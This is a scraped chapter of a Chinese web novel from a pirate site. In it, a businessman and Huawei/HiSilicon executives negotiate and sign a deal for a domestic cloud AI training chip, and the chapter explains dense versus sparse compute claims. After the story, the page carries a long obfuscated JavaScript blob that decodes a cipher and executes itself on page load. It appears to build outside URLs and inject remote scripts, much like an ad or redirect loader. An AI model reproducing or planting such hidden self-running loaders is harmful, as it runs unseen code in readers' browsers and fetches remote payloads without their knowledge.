首页
第1075章 国产AI底座正
返回

第1075章 国产AI底座正式开工

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    告别了比亚迪坪山总部,顾屿和陆知远坐上商务车。
    车子掉了个头,径直朝着龙岗区的华为坂田基地驶去。
    到了坂田基地园区,余大嘴和何廷波早就等在大楼门前。
    【记住本站域名找台湾小说去台湾小说网,??????????.??????超全】
    看到顾屿下车,余大嘴大嗓门直接迎了上来,爽朗地笑道:
    「顾总这大过年的也不休息,真是个劳碌命啊!」
    余大嘴用力握了握顾屿的手,随后侧过身,将身旁那位戴着眼镜丶气质干练的女性让了出来:
    「咱们年前可是说好了,年后再碰头敲定细节,我这可是天天盼着你来下米下锅。来,今天先给你正式引荐一下,这位就是咱们海思的掌门人,何廷波。年前的决议虽然敲定了大方向,但你们俩当面打照面,今天这还是头一回。」
    「何总,久仰大名。」顾屿微笑着主动伸出手,
    「接下来的底层硬仗,可得仰仗海思的技术底子了。」
    何廷波推了推眼镜,态度比余大嘴要严谨许多。
    她上前两步,和顾屿有力地握了握手:
    「顾总,百闻不如一见。客套话就不多说了,咱们直接切入正题。」
    「顾总,任老那边发话了。海思内部关于云端算力晶片的预研组,已经正式成立。」
    何廷波走在前面带路。「我先带你们去看看目前的进度安排。」
    一行人穿过长长的走廊,来到一处保密级别极高的研发中心。
    隔着走廊的玻璃窗,能看到工程师们正在工位上忙碌,屏幕上跳动着复杂的代码与电路图。
    何廷波在一块展示板前停下脚步,转身看向顾屿。
    「按照之前开会的决议,海思目前在神经网络处理器上走的是双线并行。」何廷波指着板子上的两个分支。
    「手机端侧的算力,我们等不起,研发周期赶不上下一代麒麟晶片的流片节点。
    所以我们接触了中科院计算所的团队。
    他们手里有个专门做深度学习处理器的原型项目,我们打算直接买下他们的IP内核授权,集成进下一代手机晶片里顶上去。」
    何廷波口中那个中科院计算所的团队,正是后来大名鼎鼎的寒武纪。
    他们拿出的那个IP内核,就是后来全球首款商用的深度学习处理器。
    前世这颗内核被华为买下,成功集成在麒麟970里,一举拿下了全球首款内置独立NPU手机晶片的宣传噱头。
    只不过华为在处理这段合作关系时,手段实在有些过于粗暴。
    当时的柏林发布会上,余大嘴在台上慷慨陈词,全程把这颗晶片叫做KirinNPU,对寒武纪三个字只字未提。
    这操作惹得中科院那边只能自己发祝贺信,变相向外界宣告这东西是他们的技术成果。
    后来华为想要买断独家授权,寒武纪想把IP卖给更多手机厂商,双方彻底谈不拢。
    华为反手就搞出了自研的达文西架构,把寒武纪踢出了供应链。
    顾屿觉得华为这招确实有些不厚道,但在残酷的商业世界里,核心技术受制于人确实是大忌。
    他收回思绪,这都是华为自家手机业务的事情,和他回响科技没有太大关系。
    他现在只想把九天实验室的训练晶片搞出来。
    「何总。手机端买谁的IP,怎么集成,那是海思自己的家务事。」顾屿非常乾脆地打断了话头,
    「我今天来,只盯一件事,咱们联合研发的云端算力晶片。这玩意儿,可是决定未来五年人工智慧天花板的硬地基。」
    余大嘴在旁边帮腔:
    「顾总把心放肚子里!咱们既然要搞,就搞波大的。你那边发来的技术需求我找专家盘过了,全是些极度激进的参数。」
    众人走进一间小型会议室。
    陆知远打开随身携带的保密电脑,连上投影仪,将一份文档投射到大屏幕上。
    「余总,何总。这是九天实验室梳理的《NPU采购要求及联合验收标准清单》。」
    陆知远声音沉稳,条理分明,
    「作为一份正式的采购方要求,我们按硬指标丶模型兼容丶软体栈丶可靠性丶供应链和商务交付,一共分了六个层级。今天咱们逐条对齐。」
    大屏幕跳转出第一页。
    「第一项,算力硬指标。」
    「我们要的是专门为大模型训练优化的张量计算单元。在FP16半精度下,稠密算力实测必须大于等于100TFLOPS。同时显存必须上HBM,带宽不低于1TB/s,支持单机至少8卡的全互联,互联带宽要突破200GB/s。」
    听到这里,何廷波脸色变了。
    这几个数值组合在一起,简直是在往当前晶片设计的物理极限红线上踩!
    「两位,陆助理刚才圈了个重点——『稠密算力』。」顾屿靠在椅背上,毫不客气地插话补充,
    「我丑话说前头,在这条硬指标上,回响绝不认什么PPT峰值,更别拿2:4结构化那种『稀疏算力』来糊弄我。」
    顾屿清楚这里面的门道。
     所谓的「稠密算力」,就是老老实实把矩阵乘法里的每一项都算得清清楚楚,这是没有任何花招的硬实力。
    而「稀疏算力」,说白了就是在神经网络计算时,把一些不重要的参数直接当成「0」剪裁掉,跳过不运算。
    前世行业里这套「算力数字翻倍」的内卷风气,源头就是英伟达。
    老黄搞出的TensorCore原生支持2:4结构化稀疏,直接把纸面数据翻了一倍。
    后世那些造车新势力,像蔚来丶理想丶小鹏丶极氪甚至沃尔沃,在发布会上动辄吹嘘单颗Orin晶片254TOPS丶双颗508TOPS,拿来糊弄外行的全都是这种稀疏峰值算力,而实际的稠密物理算力其实得直接对半砍。
    真正在发布会上老老实实标注真实稠密算力丶坚决不拿稀疏峰值搞营销的也就是华为的乾坤升腾系列丶比亚迪的自研璇玑架构,以及黑芝麻智能丶大疆车载等少数几家硬核厂商。
    即便是前世华为的MDC系列硬体本身支持稀疏运算,所有面向车企和消费者的公开参数也一律只用稠密算力,绝不放稀疏翻倍的数字。
    这种取巧的加速手段,拿去开发布会当噱头忽悠外行可以,但想要在需要精确微调的「天问」大模型基座训练上玩这种糊弄人的套路,根本行不通。
    「硬指标只是第一关。」陆知远按下翻页笔,屏幕跳到第二页。
    「第二项,模型兼容性。这是顾董定下的一票否决项。」
    顾屿坐直身子:「算力再高,跑不通『天问』,那就是一堆昂贵的废矽片。这块晶片必须端到端跑通九天实验室全系模型。从15亿参数训到未来的百亿参数,训练收敛不能掉点。最后的验收方式只有一条,把晶片插在雅安算力中心的机架上,用我们的模型实测跑过为准。」
    何廷波重重地点了点头:「模型是你们的,没法造假。拿实战当考卷,这很公平。」
    「第三项,软体栈。」陆知远继续宣读,
    「算子不支持,硬体就是摆设。华为必须向九天开放完整的工具链。尤其是PyTorch适配层,九天模型的代码必须做到零改动或极小改动就能跑。此外,算子开放绝不设黑盒,九天必须能自研算子并集成进NPU工具链。」
    「你们这是要把底层大门直接给卸了啊!」余大嘴倒吸一口气。
    「软硬体彻底打通,才能榨乾每一滴算力。」顾屿寸步不让。
    「第四和第五项,可靠性与供应链安全。」陆知远将两项合并,
    「满载训练功耗TDP必须控制在350W以内,验收标准是连续满载三个月零硬体故障。」
    说到这,顾屿神色一肃,加重了语气:
    「还有供应链,这也是我找华为合作的核心动机。流片丶封装丶内存,必须走全国产化路线!我要这块晶片,从物理层面上免疫任何形式的断供风险。哪怕初期你们只能用28nm的老工艺去堆,我也认。但我绝不容许未来某一天,别人一纸长臂管辖的禁令,就把我智算中心的插头给拔了!」
    听到「全国产化」四个字,何廷波深以为然。这也完美契合了任老此前定下的自强基调。
    「最后一项。」陆知远放出最后一页,「商务与交付。」
    「只要上述指标能达成,十万片,回响分三年全盘吃下!」
    「首年两万片,次年四万,第三年四万。按实测算力分档定价。只要良率达标,你们产多少,我吃多少,一片都不会让你们压在仓库里。」
    顾屿顿了顿,抛出最后定心丸:
    「钱不是问题。预研费用和首次流片成本,按咱们年前敲定的,各承担百分之五十。未来这款云端NPU量产之后,海思保留百分之三十的产能用于自家的云服务和终端业务,我绝不干涉。底线都在这儿了,两位觉得呢?」
    何廷波看着屏幕上那些苛刻却极具前瞻性的要求,乾脆利落地从公文包里拿出准备好的意向合同。
    「既然顾总把底牌都亮得这么敞亮了,那咱们直接走流程。这合同,海思签了!」
    陆知远上前接过合同,仔细审阅各项法律条款和权责边界,确认无误后,对顾屿点了点头。
    顾屿拿起桌上的签字笔,在合同末尾龙飞凤舞地签下名字。
    「为了加快研发进度,十亿的一期预研与流片启动金,明天上午就会直接打到海思帐户里。」
    顾屿放下笔,语气平稳有力,
    「后续进入量产阶段,回响的采购专款会按批次直接打入,资金炼上绝不会拖海思的后腿。」
    何廷波看着签好字的合同,心里松了一大口气。
    有了回响这笔庞大的资金注入和九天的算法支持,海思在云端算力上,终于有了和国际巨头掰手腕的底气!
    「有顾总这句话,海思就算是把研发大楼的灯点亮一整年,也得把这块晶片给啃下来。」何廷波郑重收起合同。
    余大嘴走上前,重重拍了拍顾屿的肩膀:
    「九天的天问模型我可是看过了,反应速度比很多本科生都快。等咱们这块晶片装进机房,矽谷那帮老外都得睡不着觉!」
    「那就辛苦两位了。」顾屿站起身,与两人用力握手,
    「雅安智算中心二期的场地已经开始平整。我等着海思把第一批矽片送过去点亮。」
    双方的合作算是正式敲定。
    至此,一条完全属于中国自研的底层算力生命线,正式开始构建。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();